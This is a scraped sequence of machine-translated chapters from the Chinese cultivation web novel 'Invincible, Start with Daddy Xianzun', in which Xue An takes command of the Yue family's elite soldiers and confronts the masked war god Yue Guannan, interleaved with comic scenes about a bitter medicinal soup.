    At the same time, Xue An looked at the crumbling Yue Hongyuan and others, with a cold voice, slowly speaking.


    "You wait... can you find the guilt?"


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2271 Yue Family Commander (Second)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2272： Sacrificial flag

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    As soon as this statement came out, Yue Hongyuan was shocked at the time, and then his complexion became extremely ugly.


    As a branch of his family, how could he not understand what this meant.


    Obviously, this young man who was highly regarded by Yue Shifang wanted to sacrifice his flag.


    Thinking of himself being treated as a whetstone that could be discarded at any time from the beginning, Yue Hongyuan fell into almost hysterical madness.


    "Convict? Why am I guilty? I just want to replace that sick guy. Isn''t that..."


    puff!


    The muffled sound of a sword blade across his skin blocked all the words behind him.


    Blood spurted out.


    Yue Hongyuan slowly lowered his head, looking at the sword tip emerging from his neck in disbelief.


    The blood was dripping down the blade.


    Yue Hongyuan felt dizzy in front of his eyes, and the strength of his body was quickly fading.


    At the same time, I heard a cold voice behind me.


    "What''s the matter?"


    But at this time, Yue Hongyuan had no strength to answer Xue An''s questions.


    His muscles were trembling slightly.


    That is a manifestation that the cultivation base is dying fast.


    Immediately afterwards, I saw Xue An slowly raising his hand and pulling the sword out of Yue Hongyuan''s neck.


    When the tip of the sword separated from his body, Yue Hongyuan thumped and fell to the ground, his entire body twitching unconsciously.


    That is the remaining neural response.


    As for his soul, it had already disappeared with Xue An''s sword.


    Of course, this is not to say that Yue Hongyuan''s strength is so weak that he can even be killed by Xue An.


    The real reason is that after Xue An took over as the military envoy, the coercion accumulated by the Yue family for many generations has already been used by him.


    Under this vast power, Yue Hongyuan could only be slaughtered by others, and he didn''t even have the strength to resist at all.


    But when Yue Hongyuan fell to the ground, the audience was deadly silent, and everyone''s eyes focused on Xue An.


    There is awe, incomprehension, and deep dread among these gazes.


    But at this moment, Xue An didn''t even bother with these eyes from the outside world.


    I saw that he looked at the small sword in his hand quite satisfactorily, and his eyes were full of approval.


    Because he didn''t realize until then that this small red sword could be used so smoothly.


    That''s right!


    This small sword was exactly the one that Jiansan Chen Suqian gave him before he died.


    Xue An didn''t take it seriously at the time, and it wasn''t until later that he met the Yuehua Zhongjun of the Yin Yang family that he vaguely guessed that the origin of this small sword was obviously extraordinary.


    Unexpectedly, after a try today, this small sword was actually very smooth to use.


    Even after killing this Yue Hongyuan, the small sword that was already red and **** became more agile and alive.


    It was as if a puddle of blood was sealed in it, so dazzling.


    This feeling made Xue An really want to try what it would be like after all the accomplices of Yue Hongyuan who were present were beheaded.


    But he finally controlled his impulse.


    Because the family has family laws, this Yue Hongyuan acted recklessly, even trying to provoke the authority of the family head, and now his death is on his own.


    But not all of his comrades deserve to die, especially these people are all members of the Yue family. If you don''t want to slaughter them indiscriminately, it will be easy for people to feel frustrated.


    With this thought in mind, Xue An only glanced at these people whose faces were ashamed and ashen, then turned around and left.


    Now that his goal of sacrificing the flag and standing for prestige has been achieved, these people will naturally have to be dealt with by the punishment hall inside the Yue family, and that is not what Xue An needs to worry about.


    really.


    As soon as Xue An turned and left, someone rushed to take these Yue Hongyuan''s accomplices away.


    And Xue An didn''t care about these at all, but walked straight to Yue Qinghuan.


    At this moment, Yue Qinghuan had also woken up from the initial shock, and then a strange smile appeared on his face, holding his shoulders and looking at Xue An who was walking towards him.


    "Congratulations, Lord Commander!"


    Xue An raised his eyebrows slightly, ignoring Yue Qinghuan''s words, but indifferently said: "Where is the training ground? And what cultivation level are these elite soldiers?"


    "You ask this... I know these naturally, but the second elder sister who knows the most is also the second elder sister. Shouldn''t you ask her first?" Yue Qing said with a smile.


    But before Xue An could speak, the two girls slowly stood up and said with a cold tone.


    "The task the Patriarch gave him is for him to complete it himself, and I have no obligation to help him!"


    After that, the second girl walked away directly.


    When he left, the rest of his family members left behind.


    Even Yue Junze, who wanted to come forward to speak, was forcibly taken away by his father.


    In an instant, the entire banquet hall became empty.


    Yue Qinghuan didn''t expect this to happen, and couldn''t help but said in amazement: "Why are all gone?"


    Xue An smiled faintly, "Don''t you want to stay here to see me if you don''t leave?"


    In fact, Xue An is not surprised by this result now, after all, he is also an outsider no matter what.


    Although under Yue Shifang''s strong pressure, these people could not but dare not express any opinions.


    But this does not mean that they will cooperate with Xue An.


    Even Xue An was convinced that if he didn''t get any results next, these people would definitely laugh at him unscrupulously.


    But for these, Xue An did not care.


    Because what he wants is not that these people like or even support themselves.


    All he wants is to complete his task as soon as possible, and then learn everything he wants to know.


    At this time, Yue Qinghuan obviously thought of this too, and couldn''t help frowning slightly.


    "If even they are so resistant to you, then your next military training will obviously not go smoothly!"


    "After all, the people who can be called elite soldiers are all built by the Yue family with a lot of money. Each one of them is one in a million, which also makes them extremely unruly, even with the exception of the owner. I have never subdued anyone before. It is not easy for you to be an outsider who wants to tame them!"


    Looking at Yue Qinghuan with a solemn expression, Xue An chuckled lightly, "Isn''t this normal? If this matter is really so easy to deal with, do you think your brother will give it to me? As for what you are talking about. Irregular..."


    A faint flame ignited in Xue An''s eyes, "What I do best is to treat all kinds of objections!"


    Somehow, when he saw Xue An''s confident expression on his face, Yue Qinghuan suddenly felt that his heartbeat had stopped for half a beat, and his cheeks were even hotter.


    She hurriedly turned her head to the side and said calmly: "Well, in this case, you should prepare, and I will take you to the training ground tomorrow!"


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this (Chapter 2272 Festival Flag (first update)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2273： Get off the horse?

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    After that, Yue Qinghuan left the banquet hall as if he had fled.


    Seeing her bewildered back, Xue An smiled faintly, and then turned and left.


    The banquet was now closed, but everything was just beginning.


    Everything that happened at the dinner spread quickly like a hurricane, shaking the entire Yue family.


    The line of Yue Hongyuan, who was once invincible and even coveted the position of Patriarch, was uprooted and became the yellow flower of yesterday.


    Even his comrades quickly fell apart under the thunder of Xingtang, no longer the power of the year.


    This incident is enough to shock people, but the most talked about among the Yue family today is not this, but Xue An.


    Because no one knew why this young man with only the cultivation base of the Immortal Venerable was so favored by the Patriarch, and even gave him the seat of the military leader.


    But at the same moment, many people secretly thought in their hearts that this guy is probably going to fall into the sand soon.


    Because even the members of the Yue family themselves couldn''t play and suppress this elite soldier, let alone an outsider.


    In fact, this elite soldier can be called lawless, except that Yue Shifang can deter them, it can be said to be an existence that no one dares to provoke.


    So this soldier in charge has always been a hot potato.


    Lost it, reluctant, keep it but just watch.


    Just when everyone was watching the next development with a joke mentality.


    An uproar is also brewing in the military training ground, which is only half a day away from the main planet of Yue Family.


    "Commander, I heard that the Patriarch has recently appointed a soldier in charge, saying that he should be fully responsible for our every move and let us get a good ranking in the upcoming martial arts conference!"


    "Yes, I also heard that, it seems that this guy has a little background, so he is extremely favored by the Patriarch."


    "Hehe, what can be done no matter how powerful it is? Don''t you still listen to us obediently when you get here!"


    It was all the elite soldiers in this training ground, and the captain in their mouth was the captain of this elite squad.


    At this moment, after hearing the clamour of his subordinates, the young soldier who looked only in his twenties gave a sneer.


    "What if he is favored by the Patriarch? If he is a waste, let''s not miss it!"


    As soon as this remark came out, everyone responded in a sudden.


    "Master Soldier is right. If this guy is acquainted then it will be fine, if he is not acquainted...huh!"


    Although the rest of the story was not said, but from these two cold snorts, he could also know the person''s true thoughts.


    "If you want me to say, let''s be prepared, and then give this kid a predicament, let him know that we are not vegetarian!" Someone suggested.


    "agree!"


    "Yes, just do it!"


    As Yue Qinghuan said before, the elites who can appear in this training ground are among the best.


    When they discussed the countermeasures, they immediately took action and prepared to give Xue An a disarm.


    In this case, the next day finally arrived.


    Although the training ground of the Yue family was half a day away from the headquarters, with Xue An and Yue Qinghuan''s current strength, they arrived at this training ground before noon.


    This training ground was specially built by the Yue family for training elite soldiers.


    The area is so large that it encompasses the entire planet.


    And when Xue An and Yue Qinghuan fell to the ground, the soldiers in charge of the reception stepped forward.


    "Miss San, please come with me!"


    Having said that, this soldier led Xue An and his group into the real training ground.


    But when they actually stepped into the training ground, they found that it was empty and there was not even a single figure in it.


    "What''s the matter?" Yue Qinghuan frowned slightly.


    She had been to this training ground in the past, and every time she came here, it was full of enthusiasm and a busy scene.


    But today, it''s uncharacteristically, let alone training, and there is not even a personal image.


    Xue An smiled faintly as if he had expected it.


    "It is estimated that I want to give me a good start!"


    As soon as the voice fell, I heard a sound of footsteps in the distance, and then saw a large group of people appearing out of the void.


    The leader is the leader who is respected as the captain.


    "I have seen Miss San!"


    These people respectfully Chong Yue Qinghuan bent over, expressing their inner respect.


    But no matter who it was, he never looked at Xue An from beginning to end, as if he was air.


    Yue Qinghuan naturally saw this too, but she had nothing to do with it, so she could only nod slightly to show respect.


    At this moment, Xue An suddenly sneered.


    "Why? Is this trying to give me a chance?"


    This is extremely straightforward, without any concealment.


    After hearing his words, the commander and the many elite soldiers who hadn''t knocked him with a straight eye all the time gave him a sideways glance.


    Although they didn''t speak, the attitude of the people could also tell their hostility towards Xue An.


    After staring at Xue An deeply, the soldier sneered slightly.


    "What can you do if you just give you a chance?"


    This was extremely arrogant, and the guards following the commander were all refreshed when they heard the words, and then looked at Xue An with a smile but a smile, wanting to see how he broke the situation before him.


    At this moment, I saw Xue An smile slightly, "What a big tone!"


    The military commander sneered and looked at Xue An simply holding his shoulders, wanting to see what this young man, who was not at the Immortal Venerable level, even worse than his own, was going to do.


    At this moment, I saw Xue An waved at him.


    "Come here, I have a few words to say to you!"


    The soldier was taken aback for a moment, but there was no doubt that he was there, and even if he came forward, he wanted to see what the white-clothed boy who didn''t know where he had come out had something to say to himself.


    But as soon as he approached Xue An with his front feet, there was a loud slap in the face in the next second.


    Snapped!


    The audience was shocked.


    Many people can''t believe everything in front of them.


    Because just now, Xue Anyang slapped the soldier with his hand.


    The slap was so heavy that even the captain was slapped. UU reading


    It wasn''t until a moment later that he awoke from the shock, and then roared hysterically.


    "You dare to hit me?"


    As soon as the voice fell, there was another resounding slap in the face.


    At this time, blood was blown out of the corner of the soldier''s mouth, and his cheeks swelled at a speed visible to the naked eye.


    And Xue An just said indifferently: "What can I do if I hit you?"


    The soldier was shaking with anger, but he didn''t know what to say for a while.


    Xue An sneered instead at this time.


    "What? Are you unconvinced?"


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2273 Dismounting Mawei? (Second)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2274： God of Soldiers Yue Guannan

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    The soldier''s eyes instantly turned blood red, and he was about to attack, but at this moment, Xue An suddenly showed a dignified power like a mountain.


    thump!


    This soldier and the so-called elite soldiers behind him were crushed to the ground, unable to even lift their heads.


    This is the commanding force!


    At this moment, Xue An looked at the Yue Family''s elite soldier who knelt on the ground, and said in a calm tone: "Now what? Are you convinced?"


    The soldier screamed frantically, trying to stand up, but he couldn''t do it.


    In fact, after mastering the Soldier-in-Chief Rune, Xue An already had the right to live and kill these elite soldiers.


    As long as he wants, these people will be killed by the Supreme Soldier.


    But even so, this soldier and even the elite soldiers behind him still didn''t have the slightest intention of subduing.


    The soldier lowered his head and said with a low growl like a beast: "You have the ability to kill me, otherwise I won''t convince you!"


    Xue An raised his eyebrows slightly, and said in a cold tone: "Do you really think I dare not kill you?"


    "Hehe, what can you do if you kill me? Don''t you really think that you can subdue these elite soldiers by killing me? I tell you, that is impossible. There is only one master in our hearts, that is, the master! And the master is not there! At that time, only one person can command us!"


    "Oh? Who is that person?"


    At this time, Yue Qinghuan suddenly sighed, "He is talking about the commander-in-chief Yue Guannan!"


    "Commander in chief?"


    "That''s right! Yue Guannan, who has been in charge of the Yue family''s elite soldiers for hundreds of years and is known as the **** of the soldiers!" Yue Qinghuan said solemnly, a complex expression mixed with awe and fear appeared on his face.


    Xue An nodded meaningfully, then looked at the soldier who was kneeling on the ground and waved his hand.


    The power that suppressed his inability to raise his head disappeared instantly, and he immediately raised his head to look at Xue An with provocative and disdainful eyes.


    Xue An didn''t take it seriously, but just chuckled, "Is it true that as long as I surrender your commander-in-chief, you will be obedient?"


    The captain was taken aback for a moment, and even if he heard some big joke, he sneered presumptuously.


    "That''s right, if you can surrender our commander in chief, of course we will be obedient, not only will we be obedient, and even from then on, we will serve you as the master, nothing more, what do you think?"


    When talking about the last four words, the ridicule and ridicule in the eyes of the team leader almost overflowed.


    Everyone can tell that his remarks are ironic.


    But Xue An nodded very seriously, "Well, in that case, then you wait for me to become your master!"


    After all, Xue An took a step towards the depths of this training ground.


    No one thought that Xue An would really take it seriously.


    Even Yue Qinghuan was stunned. She didn''t wake up suddenly until Xue An had already gone a long way. Then she rushed over and said in a low voice: "Xue An, are you crazy? Do you know that Yue Guannan has the strength? How high is it?"


    "do not know!"


    "He has been in charge of the Yue Family''s elite soldiers for hundreds of years. He is known as the inferior soldier god. His strength is not much better than that of my brother. You want to surrender him. Do you think this is possible?"


    Xue An stopped and turned to look at Yue Qinghuan.


    Yue Qinghuan breathed a sigh of relief, "It is not so easy to let these elite soldiers return to their hearts, let alone anxious, we''d better consider the long-term plan..."


    Before the words were over, Xue An smiled, "It''s impossible to always have to try to know! And do you think we still have time to plan for a long time?"


    After all, Xue An turned around and strode away.


    At this time, all the coercion that was pressing on these elite soldiers disappeared, and they also stood up with a stunned expression and looked at Xue An''s back gradually away.


    Even the most rebellious squad leader, at this moment has to admit that Xue An is really bold enough.


    In any case, it is courageous enough to dare to face the commander-in-chief.


    And these soldiers admire the most courageous and knowledgeable people.


    This also loosened the expressions on their faces a bit, but that was all.


    It is absolutely impossible to impress them with just one thing.


    As for what Xue An just said to surrender the commander...


    Let''s think about other things!


    After all, even Yue Qinghuan, who has always had the most confidence in Xue An, has no hope of Xue An''s trip at this moment.


    If the commander-in-chief could be easily surrendered by Xue An, then he wouldn''t be considered a dead soldier.


    And that was when Xue An strode deep into the training ground, in the backyard flower hall of the Yue family headquarters.


    Everything is still the same.


    It is still the fragrance of flowers in the courtyard, and it is still the intoxicating warm sun.


    The difference is that the chessboard that had been placed in front of Yue Shifang disappeared, replaced by a bowl of black medicinal soup exuding a strong medicinal taste.


    Said it is a medicinal soup, but it is already thick like a paste.


    And the smell of medicine is even more difficult to describe. Although separated from a distance and holding your breath, the smell still blows on your face and penetrates through the skin.


    This reminded Yue Shifang of many unpleasant memories, and his throat was even more bitter, as if he had to vomit out at any time.


    Yue Shifang looked around with some guilty conscience, and then reached out to pour out the bowl of medicinal soup.


    But at this moment, the second girl walked into the flower hall with a small bowl.


    As soon as he heard the sound of footsteps, Yue Shifang''s hand quickly retracted as if it were getting hot, and then smiled at the second girl as if nothing had happened.


    "What did you do? Why is it so long?"


    "I will boil a bowl of sugar water for you, and use it later when you drink medicine!"


    With that said, the second girl also put the small bowl on the table, and after opening the lid, there was a liquid with an indescribable color.


    If you really want to describe it in detail... it''s just like breaking the rainbow and stirring it up, adding an excessive amount of turquoise, and finally each color is independent and incompatible with each other''s weird colors.


    Even if he just took a look, Yue Shi felt a chill out of his head. UU reading www. uukanshu.com


    He twisted his body unnaturally on the chair, coughed slightly, and asked cautiously.


    "Ahem! This... is this what you call sugar water?"


    "Huh!" The second girl was also a little embarrassed at this moment, and explained in a low voice.


    "I searched for many precious medicinal materials and cooked them with top-grade crystal sugar. Obviously, I had been watching the whole process, but I didn��t know what happened and it became what I am now! But don��t worry, before I come here I tasted it specially, it tastes very good!"


    Even so, looking at the cup of sugar water with blue smoke floating, Yue Shifang still deeply doubted what the second girl said.


    But he didn''t dare to show the slightest strangeness, because at this moment the second girl was looking at him with piercing eyes, full of expectation in her eyes.


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this (Chapter 2274 God of Soldiers Yue Guannan (first update)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2275： Pain is as sweet as sugar to sorrow

    Yue Shifang worked hard to sort out the thoughts in his heart, and at the same time his head was swiftly moving, trying to find a perfect excuse.


    At least you can''t let these two girls think that they dare not drink because they are afraid of these two bowls of potion!


    Ok!


    It must not be, I just don''t want to drink it today!


    Yue Shifang kept hypnotizing himself in his heart, cheering up for himself, and then habitually coughing twice.


    "Ahem, in fact, I don''t have anything, I don''t have to drink these at all..."


    Although he had plucked up his courage, somehow, under the gaze of the second girl, his voice was getting smaller and smaller, and in the end it had become inaudible.


    The second girl frowned her pretty eyebrows, "Nothing?"


    "Yeah! It''s true that nothing happened, I can even fight ten more Long Family Patriarchs now!" Yue Shifang hurriedly explained.


    "Haha! Do you think I would believe these? People in the flower hall, purely divinely confronted with the saint-level Long Family Patriarch in the air, this is an extremely detrimental behavior of the soul, so I think you are fine now, but the soldiers Is the time to reincarnate in advance?" The second girl snorted coldly.


    Although Yue Shifang wanted to say that was not the case, he was still silent in the end.


    Because what the second girl said is the truth.


    At that time, in order to understand the danger that Xue An was facing, and to preserve the last bit of dignity of the Yue family, Yue Shifang disregarded his increasingly serious injuries and made a bold move, finally scaring away Long Yushu.


    These things are easy to say, but in fact they cost him a great price. Although no specific estimates have been made, at least the time for him to reincarnate as a soldier is advanced by ten days.


    He thought that only he knew all of this, but he didn''t expect the careful second girl to have guessed it.


    Looking at the silent Yue Shifang, the second girl softly explained.


    "This bowl of medicinal soup is a prescription that I found from ancient books long ago. It is made by extracting the essence from hundreds of extremely precious heavenly materials and earth treasures through various exquisite methods, and then boiling them with the water of the spirit spring. Success, the most replenishing soul, if this bowl goes down, you can live at least one more month!"


    Yue Shifang didn''t believe the words of the second girl at all.


    It''s not that she doesn''t believe that she has found a prescription, but that she can extract the essence of medicinal materials with "exquisite" methods.


    After all, that is simply an impossible operation for a severely handicapped and dark food maker.


    Therefore, after hearing the words of the second girl, he could only mumble softly: "I suddenly feel that the reincarnation of soldiers is actually not that scary..."


    "Huh? What did you say?"


    "Ah, it''s nothing, I mean it''s really hard for you. It must be very hard to make this bowl of medicinal soup!" Yue Shifang said with a smile on his face, composing himself.


    The second girl''s cheeks are red, "It''s not hard, as long as I can do things for you, I will never feel hard!"


    "It''s just that I suddenly felt a little uncomfortable in my belly today. Wouldn''t it be a waste of such precious medicinal soup if I could not digest it properly? So, should I drink it tomorrow?" Yue Shifang said cautiously.


    The second girl shook her head firmly, "No, because the drinking time of this medicinal soup is also strictly regulated, you must drink it within three hours after the medicinal soup is formed, otherwise the effect will be greatly reduced...!"


    Speaking of this, the second girl seemed to suddenly remember something, and suddenly patted her head, "It''s broken, I just patronized the boiled sugar water and forgot the time. It should have been more than two hours now, come on! Drink this medicine, otherwise the effect will be compromised!"


    With that, the second girl picked up the medicine bowl on the table and rushed to Yue Shifang.


    Although Yue Shifang wanted to say something about girls, please respect yourself, Dalang, I still don''t want to take medicine, but now he can''t help it anymore.


    The second girl at this moment is like a tiger going down the mountain, and he is a lamb to be slaughtered and can only be slaughtered.


    When he was pinched open by the second girl, and then poured medicinal soup into it, Yue Shifang suddenly had an urge to cry.


    Because... it''s so **** bitter!


    This medicinal soup seemed to have gathered the most bitter taste in the world, first the tip of the tongue was instantly ruptured, and then the entire mouth.


    Because of his super strength, Yue Shifang''s perception ability is extremely keen.


    But at this time, this keen perception has become a greater torture.


    Yue Shifang even felt that all his taste cells were tortured alive at this moment.


    But this is not over yet. When the medicinal soup ran across my throat and flowed into the esophagus, muscles cramped into a ball wherever it passed, trying to prevent the medicinal soup from falling.


    But everything is in vain, this medicinal soup is like a mighty army, cheering and rushing forward.


    Finally, the medicinal soup fell into the stomach.


    Yue Shifang even felt like he had been bombarded by a bomb in his stomach.


    In an instant, the stomach curled up in pain.


    But fortunately, all this is finally over.


    Yue Shifang thought secretly in his heart.


    Even though he had been crying bitterly, but at any rate they all passed.


    But at this moment, the voice of the second girl came from her ears.


    "Ah, why are you crying? Are you suffering? Come on, drink this bowl of sweet soup!"


    The hair on Yue Shifang''s whole body was erected instantly, and an ominous premonition made him want to resist.


    "The girl can''t help...ooh."


    But the second girl''s hand was so fast, before he could struggle, the bowl of sugar water on the table of UU reading was poured into it.


    Contrary to the extreme bitterness just now, it is sweet this time!


    And it''s the ultimate sweetness!


    In an instant, the torture just experienced was repeated again.


    When the second girl finally released his hand, Yue Shifang looked at the ceiling of the flower hall with tears on his face, with only one thought in his mind.


    who I am?


    Where is this?


    What just happened?


    At this time, the two girls seemed to have noticed Yue Shifang''s strangeness.


    "What''s the matter? Isn''t it good to drink?"


    With that said, she blushed and stretched out her hand to wipe the corner of Yue Shifang''s mouth, then lightly licked her fingers.


    A second later, a whimper-like cry erupted in the flower hall.


    "Uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuh


    An hour later, the tortured and feeble Yue Shifang finally recovered.


    Then I saw the second girl standing aside, bowing her head apologetically, like a child who had done something wrong and waited for the parents to criticize her.


    "I''m sorry, I''m a fool. The medicinal soup and sugar water that are obviously quite good were messed up by me, and I told you to drink them all. I''m sorry!" Seeing Yue Shifang''s recovery, the second girl couldn''t help crying. Said.


    Seeing the consistently strong second girl turned into this appearance, Yue Shifang''s heart couldn''t help softening, and he said something awkwardly.


    "You don''t have to be so sad, in fact... it''s not so bad to drink!"


    The invincible chapters of "Invincible, Starting from Xianzun Dad" will continue to be updated on Xinfiction.com. There are no advertisements in the site. Please collect and recommend new ones!


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the fastest new update speed.

 Chapter 2276： Lonely God of War

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    "Really?"


    "Of course it''s true, can I still lie to you?" Yue Shifang said seriously.


    The second girl looked at Yue Shifang quietly and found that he really had a sincere face, and then she gradually showed a smile.


    "It turns out that I am not that stupid. I even decided to give up just now, but since you said that, I will try again!"


    The expression on Yue Shifang''s face instantly changed to this (������;).


    The second girl said, the more excited she said, "Don��t worry, with this experience, I will definitely do better in the future. The more you drink, the more you want to drink. From now on, you can��t live without it, how about? Very happy?"


    "Ah, uh...well, very happy!" Yue Shifang replied feebly, but in his heart he only wanted to slap himself twice.


    Make your mouth cheap, make your mouth cheap!


    Originally, it was enough to simply comfort you, but in the end you are so involved in the drama, now you are better, and you are also involved in it. I see what you will do in the future?


    When he thought that he would have to be with that extremely bitter medicinal soup and sweet sugar water all day long, Yue Shifang felt that he had nothing to love, and he wished to reincarnate now.


    Of course, these are the thoughts deep in his heart, but on the surface he dare not express it at all.


    After all... Although the second girl had some hand injuries when making the soup, she was really unambiguous when she really wanted to use her hands.


    After a while.


    The second girl stood behind Yue Shifang, gently kneading his temples, and suddenly said.


    "In fact, I still can''t understand why you want that young man to be a soldier in charge!" Yue Shifang closed his eyes and smiled, "What? Isn''t this decision bad?"


    "It''s not bad but incomprehensible, because with his strength, even if he holds the soldier seal in his hand, he cannot be Yue Guannan''s opponent, and if he can''t subdue this Yuejia soldier god, the so-called military power is destined to be one. Talking like flowers in the field!"


    When talking about the four words Yuejia Bingshen, the second girl deliberately increased her tone, with a hint of dissatisfaction.


    Yue Shifang opened his eyes, turned his head and glanced at her, then chuckled softly: "What? Still can''t let go of your opinion about him?"


    The second girl pressed her lips slightly, but did not say a word.


    Yue Shifang sighed softly, "I understand everything you said, but do you really think this young man can''t surrender Yue Guannan?"


    The second girl looked at me with the expression that you were teasing me, and couldn''t help but said: "That''s a kind of existence that doesn''t let you do too much. No matter how talented that young man is, he is nothing more than an immortal. How could he be able to surrender Yue Guannan?"


    Yue Shifang smiled, "It seems that you still don''t know this guy well, he is actually far more powerful than you think!"


    The second girl still couldn''t believe it.


    What can be more powerful?


    Could he be able to beat that Yue Guannan with a cultivation base that crossed at least one big realm?


    "Actually, I still can''t understand. That Yue Guannan has been guarding the training ground, and he doesn''t listen to you, as if he is the No. 2 Patriarch of the Yue Family. Why have you tolerated him until now?" The second girl said in a deep voice. .


    This is what she has always worried about.


    After all, almost all of the Yue Family''s elite soldiers were in charge of that Yue Guannan, as long as he was slightly disoriented, the consequences would be unimaginable.


    Judging from the various performances over the years, Yue Guannan''s dissatisfaction has been clearly revealed.


    For example, for some orders of the Patriarch, if he is willing to listen, he will execute it, and if he does not want to, he will not hear it.


    In recent years, it has been exaggerated to the point that it has been a long time since I have come to the Yue family headquarters to see Yue Shifang.


    It is said that even the elite soldiers in the training ground rarely see this Yue Guannan.


    He seemed to hide, and he was out of it.


    This has also led to the Yue Family''s elite soldiers being in a state of no one to manage, so the state will keep declining.


    And finally led to the scene of this martial arts performance is imminent, but Xue An is in danger.


    After all, with the current state of the Yue family''s elite soldiers, it is undoubtedly a loss for the performance of the martial arts field.


    All these made the two girls worried, but Yue Shifang had always been laissez-faire about it, and had never given any punishment to them.


    That''s why people''s hearts are floating in the Yue family, and even characters like Yue Hongyuan dare to covet the position of Patriarch.


    Today the second girl finally couldn''t help it, and then she asked her doubts in her heart.


    Yue Shifang laughed, "You don''t understand, if anyone in this world will not betray me, it must be him!"


    This sentence caused the second girl to swallow the following words directly.


    Because the trust in Yue Shi dialect was so strong, it even made her feel a little uncomfortable.


    "Actually, you and I should all be grateful to him, because he is the Dinghai Shenzhen of the Yue family. It is because of his existence that I have never had a big trouble in the reincarnation of the Yue family these few times!"


    "As for he does not listen to the announcement..."


    A look of worry appeared in Yue Shifang''s eyes, "That''s all for a reason!"


    The second girl stopped talking, and finally closed her mouth and said nothing.


    It''s just that a doubt suddenly arisen in her heart.


    What kind of person is this Yue Guannan?


    Why did the Patriarch trust him so much?


    In fact, it is not only the second girl who is puzzled by this, but the others are also the same.


    Because in the Yue family, this Yue Guannan is an extremely unique and extremely mysterious existence.


    Independent from the training ground, he was in charge of the Yue family''s elite soldiers, won countless battles, and finally won the title of Yue Family God of War.


    But under this infinite glory, people don''t even know whether he is a man or a woman.


    Because as long as he appears, he will wear a mask made of fine gold on his face.


    This mask is like ghosts and gods, extremely hideous, adding countless powers.


    But many people are curious, what kind of face is hidden under this mask?


    But in recent years, except for extremely important things, this Yue Guannan would never show up.


    He, who lived in the simplest form, became even more mysterious in the eyes of everyone.


    As for these elite soldiers, they are regarded as gods.


    Even in the depths of the training ground, the surrounding area where he lived was designated as an absolute forbidden area.


    Although there is no obvious boundary, countless people still stay away from here!


    But at this moment, a figure appeared outside the forbidden area.


    Xue An raised his head and looked at this empty mountain.


    How to describe it!


    This mountain has everything, nothing is missing, but it seems very lonely.


    Because it has no flowers, birds, fish or insects, UU reading www. uukanshu. com has no signs of life.


    Some are just empty green stretches for thousands of miles under the feet.


    People around Jingjing can even hear the sound of blood flowing through the blood vessels in the body.


    Xue An let out a long sigh, "People who can live here must be very lonely!"


    With that, Xue An walked forward.


    But he had just taken a step, and the surrounding scenery suddenly changed, from the desolate mountain to the boundless desert.


    A round of scorching sun in the sky is blazing with hot sand beneath his feet, and Xue An''s feet have not even fallen.


    But for this sudden change, Xue An seemed to have expected it a long time ago. He didn''t even lift his eyelids, but dropped the soles of his feet.


    For the convenience of reading next time, you can click "Favorites" below to record the reading record of this time (Chapter 2276: The Lonely God of War (first update)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2277： The fairy road is long, you and I will suffer! ...

    In an instant, the desert illusion shattered, and everything changed back to the scene of that big mountain.


    But at this time Xue An was no longer at the foot of the mountain, but on the top of the mountain.


    The mountain wind whizzed past, with a bitter chill.


    Xue An''s eyes narrowed slightly, because there was a person standing far away.


    The man turned his back to Xue An and seemed to be overlooking the scenery below the mountain.


    The mountain wind blew his clothes, making him feel like an immortal, as if he would go home by the wind at any time.


    But Xue An noticed the thin body under the wide coat, and... the feeling of loneliness that was about to overflow.


    Xue An didn''t say a word, but walked up and stood beside this person.


    When you look from the side, you can see the heavy gold mask on this person''s face at first glance. It is Yue Guannan.


    But Xue An didn''t say anything, but stood quietly to the side, and accompanied the Yue Guannan to look at the scenery below the mountain.


    In fact, there is no scenery, except for the endless green, it is the stone that has been carved into various shapes by the gale.


    When the mountain wind passes between these boulders, it often brings sharp noises.


    The voice was like a high-altitude eagle, extremely monotonous and lonely.


    A quarter of an hour, two quarters of an hour.......


    One hour, two hours.......


    It was not until a whole day later that Yue Guannan, who stood still like a rock, trembled suddenly, and then said in a deep voice, "Does it look good?"


    Like Yue Guannan, Xue An, who didn''t say a word for the whole day and didn''t move at all, shook his head when he heard this.


    "Not good-looking!"


    "Then why did you stay with me for so long?"


    With that, Yue Guannan slowly turned his head and stared at Xue An.


    On this fine gold mask that was half crying and half laughing, resembling a ghost, was a pair of cold eyes.


    These eyes can''t say how beautiful they are, they even look strange and hideous under the mask.


    But when it looks at you, it will quiet you down instantly.


    Because in these eyes, there is infinite loneliness and loneliness.


    It is a kind of loneliness that is so strong that a person with a weaker mind will collapse directly after just a glance.


    It''s as if this person has been standing here since the beginning of heaven and earth, and has been standing until now.


    The expression on Xue An''s face was not instantaneous, and he whispered softly: "Because I want to experience your feelings!"


    "How do I feel? How do you feel?"


    "In this day, your heart seems to have never moved, but it seems to be remembering something all the time. I don''t know what you have experienced, but that kind of taste must be very uncomfortable!" Xue An sighed lightly. .


    His voice was not loud, and even drifted into the wind as soon as he exited.


    But it was this simple sentence that shocked Yue Guannan, and a touch of confusion and melancholy flashed across his eyes.


    It''s as if I remembered something.


